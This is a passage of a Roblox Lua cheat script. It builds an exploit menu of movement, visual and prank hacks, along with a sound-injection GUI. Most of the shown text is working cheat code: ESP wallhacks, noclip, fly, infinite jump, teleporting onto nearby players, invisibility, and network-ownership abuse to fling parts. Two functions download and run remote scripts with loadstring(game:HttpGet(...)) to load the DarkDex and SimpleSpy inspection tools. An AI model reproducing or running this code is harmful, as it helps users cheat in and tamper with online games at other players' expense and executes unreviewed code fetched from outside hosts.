game.Players.LocalPlayer:WaitForChild("PlayerGui") SoundGui.ZIndexBehavior = Enum.ZIndexBehavior.Sibling SoundGui.ResetOnSpawn = false Frame.Parent = SoundGui Frame.BackgroundColor3 = Color3.fromRGB(0, 0, 0) Frame.BorderColor3 = Color3.fromRGB(255, 0, 4) Frame.BorderSizePixel = 2 Frame.Position = UDim2.new(0, 700, 0, 300) Frame.Size = UDim2.new(0, 398, 0, 206) AddSoundId.Name = "AddSoundId" AddSoundId.Parent = Frame AddSoundId.BackgroundColor3 = Color3.fromRGB(0, 0, 0) AddSoundId.BorderColor3 = Color3.fromRGB(255, 0, 0) AddSoundId.BorderSizePixel = 2 AddSoundId.Position = UDim2.new(0.118090451, 0, 0.718446612, 0) AddSoundId.Size = UDim2.new(0, 307, 0, 36) AddSoundId.Font = Enum.Font.Arial AddSoundId.Text = "Add Sound!" AddSoundId.TextColor3 = Color3.fromRGB(255, 255, 255) AddSoundId.TextSize = 29.000 SoundIds.Name = "SoundIds" SoundIds.Parent = Frame SoundIds.BackgroundColor3 = Color3.fromRGB(0, 0, 0) SoundIds.BorderColor3 = Color3.fromRGB(255, 0, 0) SoundIds.BorderSizePixel = 2 SoundIds.Position = UDim2.new(0.118090451, 0, 0.305825233, 0) SoundIds.Size = UDim2.new(0, 307, 0, 33) SoundIds.Font = Enum.Font.Arial SoundIds.PlaceholderText = "Add a sound ID here!, No rbx://" SoundIds.Text = "" SoundIds.TextColor3 = Color3.fromRGB(255, 255, 255) SoundIds.TextScaled = true SoundIds.TextSize = 14.000 SoundIds.TextWrapped = true Default.Name = "Default" Default.Parent = Frame Default.BackgroundColor3 = Color3.fromRGB(0, 0, 0) Default.BorderColor3 = Color3.fromRGB(255, 0, 0) Default.BorderSizePixel = 2 Default.Position = UDim2.new(0.118090451, 0, 0.529126227, 0) Default.Size = UDim2.new(0, 307, 0, 28) Default.Font = Enum.Font.Arial Default.Text = "Spooky Scary Skeletons!" Default.TextColor3 = Color3.fromRGB(255, 255, 255) Default.TextSize = 23.000 Credits.Name = "Credits" Credits.Parent = Frame Credits.BackgroundColor3 = Color3.fromRGB(255, 255, 255) Credits.BackgroundTransparency = 1.000 Credits.BorderColor3 = Color3.fromRGB(0, 0, 0) Credits.BorderSizePixel = 0 Credits.Position = UDim2.new(0.577889442, 0, 0.9174757, 0) Credits.Size = UDim2.new(0, 153, 0, 17) Credits.Font = Enum.Font.SourceSans Credits.Text = "made by: 1known. On discord!" Credits.TextColor3 = Color3.fromRGB(255, 255, 255) Credits.TextSize = 14.000 Title.Name = "Title" Title.Parent = Frame Title.BackgroundColor3 = Color3.fromRGB(255, 255, 255) Title.BackgroundTransparency = 1.000 Title.BorderColor3 = Color3.fromRGB(255, 0, 4) Title.BorderSizePixel = 2 Title.Position = UDim2.new(0.208542719, 0, 0.0291262139, 0) Title.Size = UDim2.new(0, 231, 0, 48) Title.Font = Enum.Font.Arial Title.Text = "c00lSound GUI!" Title.TextColor3 = Color3.fromRGB(255, 255, 255) Title.TextSize = 33.000 Title.TextWrapped = true Swap.Name = "Swap" Swap.Parent = Frame Swap.BackgroundColor3 = Color3.fromRGB(0, 0, 0) Swap.BorderColor3 = Color3.fromRGB(255, 0, 0) Swap.BorderSizePixel = 0 Swap.Position = UDim2.new(0.904522598, 0, 0.33495146, 0) Swap.Size = UDim2.new(0, 23, 0, 21) Swap.Image = "rbxassetid://2500573769" PlayBackSpeed.Name = "PlayBackSpeed" PlayBackSpeed.Parent = Frame PlayBackSpeed.BackgroundColor3 = Color3.fromRGB(0, 0, 0) PlayBackSpeed.BorderColor3 = Color3.fromRGB(255, 0, 0) PlayBackSpeed.BorderSizePixel = 2 PlayBackSpeed.Position = UDim2.new(0.118090451, 0, 0.305825233, 0) PlayBackSpeed.Size = UDim2.new(0, 307, 0, 33) PlayBackSpeed.Visible = false PlayBackSpeed.Font = Enum.Font.Arial PlayBackSpeed.PlaceholderText = "Playback speed, Enter a number!" PlayBackSpeed.Text = "1" PlayBackSpeed.TextColor3 = Color3.fromRGB(255, 255, 255) PlayBackSpeed.TextScaled = true PlayBackSpeed.TextSize = 14.000 PlayBackSpeed.TextWrapped = true Volume.Name = "Volume" Volume.Parent = Frame Volume.BackgroundColor3 = Color3.fromRGB(0, 0, 0) Volume.BorderColor3 = Color3.fromRGB(255, 0, 0) Volume.BorderSizePixel = 2 Volume.Position = UDim2.new(0.118090451, 0, 0.305825233, 0) Volume.Size = UDim2.new(0, 307, 0, 33) Volume.Visible = false Volume.Font = Enum.Font.Arial Volume.PlaceholderText = "Volume! Enter a number." Volume.Text = "0.5" Volume.TextColor3 = Color3.fromRGB(255, 255, 255) Volume.TextScaled = true Volume.TextSize = 14.000 Volume.TextWrapped = true Looped.Name = "Looped" Looped.Parent = Frame Looped.BackgroundColor3 = Color3.fromRGB(0, 0, 0) Looped.BorderColor3 = Color3.fromRGB(255, 0, 0) Looped.BorderSizePixel = 2 Looped.Position = UDim2.new(0.118090451, 0, 0.305825233, 0) Looped.Size = UDim2.new(0, 307, 0, 33) Looped.Visible = false Looped.Font = Enum.Font.Arial Looped.PlaceholderText = "Is it looped?, Type: False or True" Looped.Text = "False" Looped.TextColor3 = Color3.fromRGB(255, 255, 255) Looped.TextScaled = true Looped.TextSize = 14.000 Looped.TextWrapped = true Exit.Name = "Exit" Exit.Parent = Frame Exit.BackgroundColor3 = Color3.fromRGB(0, 0, 0) Exit.BorderColor3 = Color3.fromRGB(255, 0, 0) Exit.BorderSizePixel = 2 Exit.Position = UDim2.new(0.921999991, 0, 0.0289999992, 0) Exit.Size = UDim2.new(0, 25, 0, 23) Exit.Image = "rbxassetid://14930908086" Frame2.Name = "Frame2" Frame2.Parent = SoundGui Frame2.BackgroundColor3 = Color3.fromRGB(255, 255, 255) Frame2.BorderColor3 = Color3.fromRGB(0, 0, 0) Frame2.BorderSizePixel = 0 Frame2.Position = UDim2.new(0.984443069, 0, 0.841666639, 0) Frame2.Size = UDim2.new(0, 25, 0, 23) Frame2.Visible = false Open.Name = "Open" Open.Parent = Frame2 Open.BackgroundColor3 = Color3.fromRGB(0, 0, 0) Open.BorderColor3 = Color3.fromRGB(255, 0, 0) Open.BorderSizePixel = 2 Open.Position = UDim2.new(-0.0312646478, 0, -0.0113339629, 0) Open.Size = UDim2.new(0, 25, 0, 23) Open.Image = "rbxassetid://14930908086" -- Scripts: local function GSSVM_fake_script() -- AddSoundId.LocalScript local script = Instance.new('LocalScript', AddSoundId) local parent = script.Parent parent.Activated:Connect(function() local SoundId = parent.Parent:WaitForChild("SoundIds").Text local Playbackspeed = parent.Parent:WaitForChild("PlayBackSpeed").Text local Volume = parent.Parent:WaitForChild("Volume").Text local looped = parent.Parent:WaitForChild("Looped").Text if SoundId == "" then parent.Text = "No Sound ID!" wait(2) parent.Text = "Add Sound!" return end local id = "rbxassetid://" .. SoundId local speed = tonumber(Playbackspeed) or 1 local existingSound = game.Workspace:FindFirstChild("c00lsound23sas") if existingSound then existingSound.SoundId = id existingSound.PlaybackSpeed = speed existingSound.Volume = Volume if looped == "False" then existingSound.Looped = false elseif looped == "True" then existingSound.Looped = true else existingSound.Looped = false end existingSound:Play() else local clonedSound = parent.Parent.c00lsound23sas:Clone() clonedSound.Parent = game.Workspace clonedSound.SoundId = id clonedSound.PlaybackSpeed = speed clonedSound.Volume = Volume if looped == "False" then clonedSound.Looped = false elseif looped == "True" then clonedSound.Looped = true else clonedSound.Looped = false end clonedSound.Looped = looped clonedSound:Play() end parent.Text = "Injected Sound Succesfully!, Be sure to enter a correct ID if it doesnt work!" parent.TextScaled = true wait(3.5) parent.TextScaled = false parent.Text = "Add Sound!" end) end coroutine.wrap(GSSVM_fake_script)() local function MWUVEW_fake_script() -- Default.LocalScript local script = Instance.new('LocalScript', Default) local parent = script.Parent local sound = parent.Parent.spoky parent.Activated:Connect(function() if sound.Playing == true then sound.Playing = false else sound.Playing = true end end) end coroutine.wrap(MWUVEW_fake_script)() local function BIKZQ_fake_script() -- Swap.LocalScript local script = Instance.new('LocalScript', Swap) local parent = script.Parent local playback = parent.Parent.PlayBackSpeed local Sound = parent.Parent.SoundIds local volume = parent.Parent.Volume local looped = parent.Parent.Looped parent.Activated:Connect(function() if Sound.Visible == true then Sound.Visible = false playback.Visible = true volume.Visible = false looped.Visible = false elseif playback.Visible ==true then playback.Visible = false Sound.Visible = false volume.Visible = true looped.Visible = false elseif volume.Visible == true then Sound.Visible = false playback.Visible = false volume.Visible = false looped.Visible = true elseif looped.Visible == true then Sound.Visible = true playback.Visible = false volume.Visible = false looped.Visible = false end end) end coroutine.wrap(BIKZQ_fake_script)() local function AXYPXC_fake_script() -- Exit.LocalScript local script = Instance.new('LocalScript', Exit) local parent = script.Parent local main = parent.Parent parent.Activated:Connect(function() main.Parent.Frame2.Visible = true main.Visible = false end) end coroutine.wrap(AXYPXC_fake_script)() local function WHTXC_fake_script() -- Open.LocalScript local script = Instance.new('LocalScript', Open) local parent = script.Parent local main = parent.Parent.Parent.Frame parent.Activated:Connect(function() main.Visible = true parent.Parent.Visible = false end) end coroutine.wrap(WHTXC_fake_script)() end, "General", "NOT FE") FunctionManager:register("Bind Key", function() if bindFrame then return end local gui = Player:FindFirstChild("PlayerGui"):FindFirstChild(die) if not gui then NotifyERROR("Gui not found!"); return end screenGui = gui bindFrame = Instance.new("Frame") bindFrame.Name = generate_string(math_random(1, 10)) bindFrame.Size = UDim2.new(1,0,1,0) bindFrame.BackgroundColor3 = Color3.new(0,0,0) bindFrame.BackgroundTransparency = 0.5 bindFrame.ZIndex = 50 bindFrame.Parent = screenGui local panel = Instance.new("Frame") panel.Name = generate_string(math_random(1, 10)) panel.Size = UDim2.new(0, 300, 0, 400) panel.Position = UDim2.new(0.5, -150, 0.5, -200) panel.BackgroundColor3 = Color3.fromRGB(35,35,35) panel.BorderSizePixel = 0 panel.ZIndex = 51 panel.Parent = bindFrame local closeBtn = Instance.new("TextButton") closeBtn.Size = UDim2.new(0, 60, 0, 24) closeBtn.Position = UDim2.new(1, -64, 0, 4) closeBtn.Text = "Close" closeBtn.Font = Enum.Font.SourceSansBold closeBtn.TextSize = 14 closeBtn.BackgroundColor3 = Color3.fromRGB(150,50,50) closeBtn.TextColor3 = Color3.new(1,1,1) closeBtn.ZIndex = 52 closeBtn.Parent = panel closeBtn.MouseButton1Click:Connect(function() bindFrame:Destroy() bindFrame = nil if bindConn then bindConn:Disconnect(); bindConn = nil end end) local title = Instance.new("TextLabel") title.Size = UDim2.new(1, -8, 0, 24) title.Position = UDim2.new(0, 4, 0, 4) title.BackgroundTransparency = 1 title.Font = Enum.Font.SourceSansBold title.TextSize = 18 title.TextColor3 = Color3.new(1,1,1) title.Text = "Bind Key to Function" title.ZIndex = 52 title.Parent = panel local list = Instance.new("ScrollingFrame") list.Size = UDim2.new(1, -8, 1, -40) list.Position = UDim2.new(0, 4, 0, 32) list.CanvasSize = UDim2.new(0,0,0,0) list.ScrollBarThickness = 6 list.ZIndex = 51 list.Parent = panel local uiList = Instance.new("UIListLayout") uiList.Padding = UDim.new(0,4) uiList.SortOrder = Enum.SortOrder.LayoutOrder uiList.Parent = list local function refreshList() for _, child in ipairs(list:GetChildren()) do if child:IsA("TextButton") or child:IsA("TextLabel") then child:Destroy() end end for _, cat in ipairs(FunctionManager.Categories) do local hdr = Instance.new("TextLabel") hdr.Size = UDim2.new(1,0,0,24) hdr.BackgroundTransparency = 1 hdr.Font = Enum.Font.SourceSansBold hdr.TextSize = 16 hdr.TextColor3 = Color3.new(1,1,0) hdr.Text = "["..cat.."]" hdr.ZIndex = 51 hdr.Parent = list for name, cb in pairs(FunctionManager:getFunctionsInCategory(cat)) do local btn = Instance.new("TextButton") btn.Size = UDim2.new(1,0,0,24) btn.Font = Enum.Font.SourceSans btn.TextSize = 14 btn.BackgroundColor3 = Color3.fromRGB(50,50,50) btn.TextColor3 = Color3.new(1,1,1) btn.ZIndex = 51 local bound = {} for key, fn in pairs(customBinds) do if fn == cb then table.insert(bound, tostring(key)) end end local suffix = #bound>0 and " ("..table.concat(bound, ",")..")" or "" btn.Text = name..suffix btn.Parent = list btn.MouseButton1Click:Connect(function() waitingBindFunction = { cb = cb, btn = btn, name = name } btn.Text = name.." → [Press a key]" end) end end list.CanvasSize = UDim2.new(0,0,0, uiList.AbsoluteContentSize.Y + 8) end bindConn = UserInputService.InputBegan:Connect(function(input, gameProcessed) if gameProcessed or not waitingBindFunction then return end if input.UserInputType == Enum.UserInputType.Keyboard then customBinds[input.KeyCode] = waitingBindFunction.cb waitingBindFunction.btn.Text = waitingBindFunction.name.." ("..tostring(input.KeyCode)..")" waitingBindFunction = nil end end) refreshList() end, "Utility", "BUGGED") UserInputService.InputBegan:Connect(function(input, gameProcessed) if gameProcessed then return end if input.UserInputType == Enum.UserInputType.Keyboard then local fn = customBinds[input.KeyCode] if fn and type(fn) == "function" then pcall(fn) end end end) FunctionManager:register("JumpUp", function() local char = Player.Character local hrp = char and char:FindFirstChild("HumanoidRootPart") if hrp then hrp.Velocity = Vector3.new(0, 100, 0) end end, "Movement", "Leap into the air!") FunctionManager:register("Sit", function() local hum = Player.Character and Player.Character:FindFirstChildOfClass("Humanoid") if hum then hum.Sit = true end end, "Movement", "SIT DOWN") FunctionManager:register("INF JUMP", function() infJumpEnabled = not infJumpEnabled if infJumpEnabled then local debounce = false infJumpConnection = UserInputService.JumpRequest:Connect(function() if debounce then return end debounce = true local character = Player.Character local humanoid = character and character:FindFirstChildWhichIsA("Humanoid") if humanoid then humanoid:ChangeState(Enum.HumanoidStateType.Jumping) end task.wait() debounce = false end) else if infJumpConnection then infJumpConnection:Disconnect() infJumpConnection = nil end end end, "Movement", "Jump Forever!") FunctionManager:register("WalkSpeed Slider", function() if screenGui:FindFirstChild("WalkSpeedModal") then return end local overlay = Instance.new("Frame") overlay.Name = "WalkSpeedModal" overlay.Size = UDim2.new(1,0,1,0) overlay.Position = UDim2.new(0,0,0,0) overlay.BackgroundColor3 = Color3.new(0,0,0) overlay.BackgroundTransparency = 0.5 overlay.ZIndex = 50 overlay.Parent = screenGui local panel = Instance.new("Frame") panel.Name = "SliderPanel" panel.Size = UDim2.new(0, 300, 0, 100) panel.Position = UDim2.new(0.5, -150, 0.5, -50) panel.BackgroundColor3 = Color3.fromRGB(40,40,40) panel.BorderSizePixel = 0 panel.ZIndex = 51 panel.Parent = overlay local closeBtn = Instance.new("TextButton") closeBtn.Name = "Close" closeBtn.Size = UDim2.new(0,60,0,24) closeBtn.Position = UDim2.new(1,-64,0,4) closeBtn.Font = Enum.Font.SourceSansBold closeBtn.TextSize = 14 closeBtn.Text = "Close" closeBtn.BackgroundColor3 = Color3.fromRGB(150,50,50) closeBtn.TextColor3 = Color3.new(1,1,1) closeBtn.ZIndex = 52 closeBtn.Parent = panel closeBtn.MouseButton1Click:Connect(function() overlay:Destroy() end) local label = Instance.new("TextLabel") label.Name = "ValueLabel" label.Size = UDim2.new(1,-8,0,24) label.Position = UDim2.new(0,4,0,4) label.BackgroundTransparency= 1 label.Font = Enum.Font.SourceSansBold label.TextSize = 18 label.TextColor3 = Color3.new(1,1,1) label.Text = "WalkSpeed: " .. tostring(Humanoid.WalkSpeed) label.ZIndex = 52 label.Parent = panel local track = Instance.new("Frame") track.Name = "Track" track.Size = UDim2.new(1,-16,0,20) track.Position = UDim2.new(0,8,0,40) track.BackgroundColor3 = Color3.fromRGB(60,60,60) track.BorderSizePixel = 0 track.ZIndex = 51 track.Parent = panel local fill = Instance.new("Frame") fill.Name = "Fill" fill.Size = UDim2.new( math.clamp((Humanoid.WalkSpeed - 8)/(100-8),0,1), 0, 1, 0 ) fill.BackgroundColor3 = Color3.fromRGB(100,200,100) fill.BorderSizePixel = 0 fill.ZIndex = 52 fill.Parent = track local dragging = false local minS, maxS = 8, 100 local function update(x) local rel = math.clamp((x - track.AbsolutePosition.X)/track.AbsoluteSize.X, 0,1) local v = math.floor(minS + (maxS-minS)*rel) Humanoid.WalkSpeed = v label.Text = "WalkSpeed: "..v fill.Size = UDim2.new(rel,0,1,0) end track.InputBegan:Connect(function(i) if i.UserInputType == Enum.UserInputType.MouseButton1 then dragging = true update(i.Position.X) end end) track.InputEnded:Connect(function(i) if i.UserInputType == Enum.UserInputType.MouseButton1 then dragging = false end end) UserInputService.InputChanged:Connect(function(i) if dragging and i.UserInputType==Enum.UserInputType.MouseMovement then update(i.Position.X) end end) end, "Movement", "Control your walkspeed!") FunctionManager:register("Server Hop", function() local success, res = pcall(function() return game:HttpGet( "https://games.roblox.com/v1/games/" .. PlaceId .. "/servers/Public?sortOrder=Desc&limit=100&excludeFullGames=true" ) end) if not success then return NotifyERROR("[Server Hop] HTTP request failed") end local body local ok, err = pcall(function() body = HttpService:JSONDecode(res) end) if not ok or type(body) ~= "table" or type(body.data) ~= "table" then return NotifyERROR("[Server Hop] Invalid JSON response") end local servers = {} for _, v in ipairs(body.data) do if type(v) == "table" and tonumber(v.playing) and tonumber(v.maxPlayers) and v.playing < v.maxPlayers and v.id ~= JobId then table.insert(servers, v.id) end end if #servers == 0 then return NotifyERROR("[Server Hop] No available servers found") end local choice = servers[math.random(1, #servers)] TeleportService:TeleportToPlaceInstance(PlaceId, choice, Players.LocalPlayer) end, "Utility","Changes Servers") FunctionManager:register("TP Behind Closest", function() if not HRP then NotifyERROR("No HumanoidRootPart found.") return end local closestPlayer local shortestDistance = math.huge for _, otherPlayer in ipairs(Players:GetPlayers()) do if otherPlayer ~= Player and otherPlayer.Character then local otherRoot = otherPlayer.Character:FindFirstChild("HumanoidRootPart") if otherRoot then local distance = (otherRoot.Position - HRP.Position).Magnitude if distance < shortestDistance then shortestDistance = distance closestPlayer = otherPlayer end end end end if closestPlayer and closestPlayer.Character then local targetRoot = closestPlayer.Character:FindFirstChild("HumanoidRootPart") if targetRoot then local behindPosition = targetRoot.CFrame.Position - targetRoot.CFrame.LookVector * 3 local newCFrame = CFrame.new(behindPosition, targetRoot.Position) HRP.CFrame = newCFrame end else NotifyERROR("No nearby player found.") end end, "Movement", "Owai moi, shinderu. NANI?") FunctionManager:register("Scare Closest Player", function() if not HRP then NotifyERROR("Could not find your HumanoidRootPart.") return end local closestPlayer, closestDistance = nil, math.huge for _, otherPlayer in ipairs(Players:GetPlayers()) do if otherPlayer ~= Player and otherPlayer.Character then local otherRoot = otherPlayer.Character:FindFirstChild("HumanoidRootPart") if otherRoot then local dist = (otherRoot.Position - HRP.Position).Magnitude if dist < closestDistance then closestDistance = dist closestPlayer = otherPlayer end end end end if closestPlayer and closestPlayer.Character then local targetRoot = closestPlayer.Character:FindFirstChild("HumanoidRootPart") if targetRoot then local oldPos = HRP.CFrame HRP.CFrame = targetRoot.CFrame + targetRoot.CFrame.lookVector * 2 HRP.CFrame = CFrame.new(HRP.Position, targetRoot.Position) task.wait(0.5) HRP.CFrame = oldPos end else NotifyERROR("No target player nearby.") end end, "Fun", "FNAF reference") FunctionManager:register("ESP Toggle", function() espOn = not espOn for _, plr in ipairs(Players:GetPlayers()) do if plr.Character and plr ~= Player then local head = plr.Character:FindFirstChild("Head") if head then local bb = head:FindFirstChild("ESP") or Instance.new("BillboardGui", head) bb.Name = "ESP" bb.Size = UDim2.new(0,80,0,20) bb.AlwaysOnTop = true local lbl = bb:FindFirstChild("Name") or Instance.new("TextLabel", bb) lbl.Name = "Name" lbl.BackgroundTransparency = 1 lbl.Size = UDim2.new(1,0,1,0) lbl.TextColor3 = Color3.new(1,0,0) lbl.TextScaled = true lbl.Text = plr.Name bb.Enabled = espOn end end end Notify("ESP " .. (espOn and "Enabled" or "Disabled"), "SYSTEM", 3) end, "Visual", "ur cooked i just got wallhacks") FunctionManager:register("JumpPowerSlider", function() if screenGui:FindFirstChild("JumpPowerModal") then return end Humanoid.UseJumpPower = true local overlay = Instance.new("Frame") overlay.Name = "JumpPowerModal" overlay.Size = UDim2.new(1,0,1,0) overlay.Position = UDim2.new(0,0,0,0) overlay.BackgroundColor3 = Color3.new(0,0,0) overlay.BackgroundTransparency = 0.5 overlay.ZIndex = 50 overlay.Parent = screenGui local panel = Instance.new("Frame") panel.Name = "JumpPanel" panel.Size = UDim2.new(0, 300, 0, 100) panel.Position = UDim2.new(0.5, -150, 0.5, -50) panel.BackgroundColor3 = Color3.fromRGB(40,40,40) panel.BorderSizePixel = 0 panel.ZIndex = 51 panel.Parent = overlay local closeBtn = Instance.new("TextButton") closeBtn.Name = "Close" closeBtn.Size = UDim2.new(0,60,0,24) closeBtn.Position = UDim2.new(1,-64,0,4) closeBtn.Font = Enum.Font.SourceSansBold closeBtn.TextSize = 14 closeBtn.Text = "Close" closeBtn.BackgroundColor3 = Color3.fromRGB(150,50,50) closeBtn.TextColor3 = Color3.new(1,1,1) closeBtn.ZIndex = 52 closeBtn.Parent = panel closeBtn.MouseButton1Click:Connect(function() overlay:Destroy() end) local label = Instance.new("TextLabel") label.Name = "ValueLabel" label.Size = UDim2.new(1,-8,0,24) label.Position = UDim2.new(0,4,0,4) label.BackgroundTransparency= 1 label.Font = Enum.Font.SourceSansBold label.TextSize = 18 label.TextColor3 = Color3.new(1,1,1) label.Text = "JumpPower: " .. tostring(Humanoid.JumpPower) label.ZIndex = 52 label.Parent = panel local track = Instance.new("Frame") track.Name = "Track" track.Size = UDim2.new(1,-16,0,20) track.Position = UDim2.new(0,8,0,40) track.BackgroundColor3 = Color3.fromRGB(60,60,60) track.BorderSizePixel = 0 track.ZIndex = 51 track.Parent = panel local fill = Instance.new("Frame") fill.Name = "Fill" fill.Size = UDim2.new( math.clamp((Humanoid.JumpPower - 50)/(200-50),0,1), 0, 1, 0 ) fill.BackgroundColor3 = Color3.fromRGB(100,200,100) fill.BorderSizePixel = 0 fill.ZIndex = 52 fill.Parent = track local dragging = false local minJ, maxJ = 50, 200 local function update(x) local rel = math.clamp((x - track.AbsolutePosition.X)/track.AbsoluteSize.X, 0,1) local v = math.floor(minJ + (maxJ-minJ)*rel) Humanoid.JumpPower = v label.Text = "JumpPower: "..v fill.Size = UDim2.new(rel,0,1,0) end track.InputBegan:Connect(function(i) if i.UserInputType == Enum.UserInputType.MouseButton1 then dragging = true update(i.Position.X) end end) track.InputEnded:Connect(function(i) if i.UserInputType == Enum.UserInputType.MouseButton1 then dragging = false end end) UserInputService.InputChanged:Connect(function(i) if dragging and i.UserInputType==Enum.UserInputType.MouseMovement then update(i.Position.X) end end) end, "Movement", "Control your jumppower") FunctionManager:register("Spin Bot", function() spinOn = not spinOn if spinOn then if not HRP then return NotifyERROR("No HRP!") end lockBP = Instance.new("BodyPosition") lockBP.Name = "SpinLockBP" lockBP.Position = HRP.Position lockBP.MaxForce = Vector3.new(1e6, 1e6, 1e6) lockBP.P = 1e5 lockBP.D = 0 lockBP.Parent = HRP spinBAV = Instance.new("BodyAngularVelocity") spinBAV.Name = "SpinBAV" spinBAV.AngularVelocity = Vector3.new(0, 10000, 0) spinBAV.MaxTorque = Vector3.new(1e6, 1e6, 1e6) spinBAV.P = 1e5 spinBAV.Parent = HRP NotifyERROR("Spin Bot On") else if spinBAV then spinBAV:Destroy() spinBAV = nil end if lockBP then lockBP:Destroy() lockBP = nil end NotifyERROR("Spin Bot Off") end end, "Visual", "Speeeeen") FunctionManager:register("TP To Mouse", function() if hit then HRP.CFrame = CFrame.new(pos + Vector3.new(0, 3, 0)) warn("Teleported to mouse") end end, "Movement", "BUGGED") FunctionManager:register("Save Position", function() savedCFrame = HRP.CFrame Notify("Position Saved", "SYSTEM", 3) end, "Utility", "Checkpoint") FunctionManager:register("Load Position", function() if savedCFrame then HRP.CFrame = savedCFrame Notify("Position Loaded", "SYSTEM", 3) else NotifyERROR("No Position Saved") end end, "Utility", "Reload") FunctionManager:register("No‑Clip", function() noclipOn = not noclipOn if noclipOn then hoverHeight = HRP.Position.Y while noclipOn == true do task.wait(0.01) for _, part in ipairs(Character:GetDescendants()) do if part:IsA("BasePart") then part.CanCollide = false end end local pos = HRP.Position HRP.CFrame = CFrame.new(pos.X, hoverHeight, pos.Z) end Notify("No‑Clip ON (locked at height)", "SYSTEM", 3) else for _, part in ipairs(Character:GetDescendants()) do if part:IsA("BasePart") then part.CanCollide = true end end Notify("No‑Clip OFF", "SYSTEM", 3) end end, "Movement", "NOCLIP") FunctionManager:register("DarkDex", function() --Maybe works? loadstring(game:HttpGet("https://raw.githubusercontent.com/Babyhamsta/RBLX_Scripts/main/Universal/BypassedDarkDexV3.lua", true))() end, "General", "Take a peek under the hood") FunctionManager:register("SimpleSpy", function() --also maybe works? loadstring(game:HttpGet("https://raw.githubusercontent.com/infyiff/backup/main/SimpleSpyV3/main.lua"))() end, "Catch remotes") FunctionManager:register("Orbit All Nearby Parts", function() local radius = 20 local height = 3 local orbitSpeed = 2 local speaker = Players.LocalPlayer local character = speaker.Character or speaker.CharacterAdded:Wait() local root = character:FindFirstChild("HumanoidRootPart") if not root then NotifyERROR("No HumanoidRootPart found.") return end local origin = root.Position local orbitParts = {} for _, part in ipairs(workspace:GetDescendants()) do if part:IsA("BasePart") and not part.Anchored and not part:IsDescendantOf(workspace.Terrain) then local isInCharacter = false for _, player in ipairs(Players:GetPlayers()) do local char = player.Character if char and part:IsDescendantOf(char) then isInCharacter = true break end end if not isInCharacter and (part.Position - origin).Magnitude <= radius then if not CollectionService:HasTag(part, "OrbitPart") then if part:CanSetNetworkOwnership() then part:SetNetworkOwner(speaker) else warn("Cannot set network owner for part:", part.Name) end part.CanCollide = false CollectionService:AddTag(part, "OrbitPart") table.insert(orbitParts, part) end end end end if #orbitParts == 0 then warn("No parts found for orbit.") return end local angleOffset = 2 * math.pi / #orbitParts for i, part in ipairs(orbitParts) do local angle = angleOffset * i local startPos = root.Position + Vector3.new( math.cos(angle) * radius, height, math.sin(angle) * radius ) part.Position = startPos local bodyGyro = Instance.new("BodyGyro") bodyGyro.MaxTorque = Vector3.new(1e5, 1e5, 1e5) bodyGyro.P = 1e4 bodyGyro.CFrame = CFrame.new(part.Position, root.Position) bodyGyro.Parent = part local bodyVel = Instance.new("BodyVelocity") bodyVel.MaxForce = Vector3.new(1e5, 1e5, 1e5) bodyVel.P = 1e4 bodyVel.Parent = part local conn conn = RunService.Heartbeat:Connect(function(dt) if not root or not root.Parent then conn:Disconnect() return end angle += orbitSpeed * dt local orbitCenter = root.Position local orbitPoint = orbitCenter + Vector3.new( math.cos(angle) * radius, height, math.sin(angle) * radius ) local tangent = Vector3.new( -math.sin(angle), 0, math.cos(angle) ).Unit * orbitSpeed * radius bodyVel.Velocity = tangent bodyGyro.CFrame = CFrame.new(part.Position, orbitCenter) part.Position = orbitPoint end) end warn("Orbiting", #orbitParts, "parts around you.") end, "Fun", "You have to be near the parts for a while for it to work") local function toggleInvisibility() if invisRunning then return end invisRunning = true local player = Players.LocalPlayer repeat task.wait(0.1) until player.Character local originalChar = player.Character originalChar.Archivable = true local invisibleChar = originalChar:Clone() invisibleChar.Name = "" invisibleChar.Parent = Lighting -- clone transparency for _, part in ipairs(invisibleChar:GetDescendants()) do if part:IsA("BasePart") then part.Transparency = (part.Name == "HumanoidRootPart") and 1 or 0.5 end end -- we’ll need these in nested functions: local isInvis = false local voidConn, deathConn, steppedConn -- Respawn helper (puts you back to originalChar) local function Respawn() invisRunning = false if steppedConn then steppedConn:Disconnect() end if deathConn then deathConn:Disconnect() end player.Character = originalChar originalChar.Parent = workspace -- destroy the extra humanoid local clonedHum = originalChar:FindFirstChildWhichIsA("Humanoid") if clonedHum then clonedHum:Destroy() end invisibleChar.Parent = nil end -- fix for falling through the void local voidY = workspace.FallenPartsDestroyHeight steppedConn = RunService.Stepped:Connect(function() local hrp = player.Character and player.Character:FindFirstChild("HumanoidRootPart") if not hrp then return end local y = hrp.Position.Y if (voidY < 0 and y <= voidY) or (voidY >= 0 and y >= voidY) then Respawn() end end) -- if cloned character dies local clonedHum = invisibleChar:FindFirstChildWhichIsA("Humanoid") deathConn = clonedHum.Died:Connect(Respawn) -- now swap them local camCF = workspace.CurrentCamera.CFrame local hrpCF = originalChar.HumanoidRootPart.CFrame originalChar:MoveTo(Vector3.new(0, math.pi*1e6, 0)) workspace.CurrentCamera.CameraType = Enum.CameraType.Scriptable task.wait(0.2) workspace.CurrentCamera.CameraType = Enum.CameraType.Custom invisibleChar.Parent = workspace invisibleChar.HumanoidRootPart.CFrame = hrpCF player.Character = invisibleChar -- re‑enable animations for _, a in ipairs(player.Character:GetDescendants()) do if a.Name == "Animate" and a:IsA("Model") then a.Disabled = true; a.Disabled = false end end workspace.CurrentCamera:remove() wait(.1) repeat wait() until player.Character ~= nil workspace.CurrentCamera.CameraSubject = player.Character:FindFirstChildWhichIsA('Humanoid') workspace.CurrentCamera.CameraType = "Custom" player.CameraMinZoomDistance = 0.5 player.CameraMaxZoomDistance = 400 player.CameraMode = "Classic" player.Character.Head.Anchored = false player.Character.Animate.Enabled = false player.Character.Animate.Enabled = true Notify("You are now invisible!", "System", 3) end FunctionManager:register( "Invisible", toggleInvisibility, "Fun", "Make your character invisible until you respawn or die" ) FunctionManager:register("Fly", function() if not HRP then warn("No HumanoidRootPart found; cannot fly.") return end flyingEnabled = not flyingEnabled if flyingEnabled then flyBG = Instance.new("BodyGyro") flyBG.P = 9e4 flyBG.MaxTorque = Vector3.new(9e4, 9e4, 9e4) flyBG.CFrame = HRP.CFrame flyBG.Parent = HRP flyBV = Instance.new("BodyVelocity") flyBV.MaxForce = Vector3.new(9e4, 9e4, 9e4) flyBV.Velocity = Vector3.new(0, 0, 0) flyBV.Parent = HRP flyConn = RunService.Heartbeat:Connect(function() local camCFrame = workspace.CurrentCamera.CFrame local dir = Vector3.new() if UserInputService:IsKeyDown(Enum.KeyCode.W) then dir = dir + 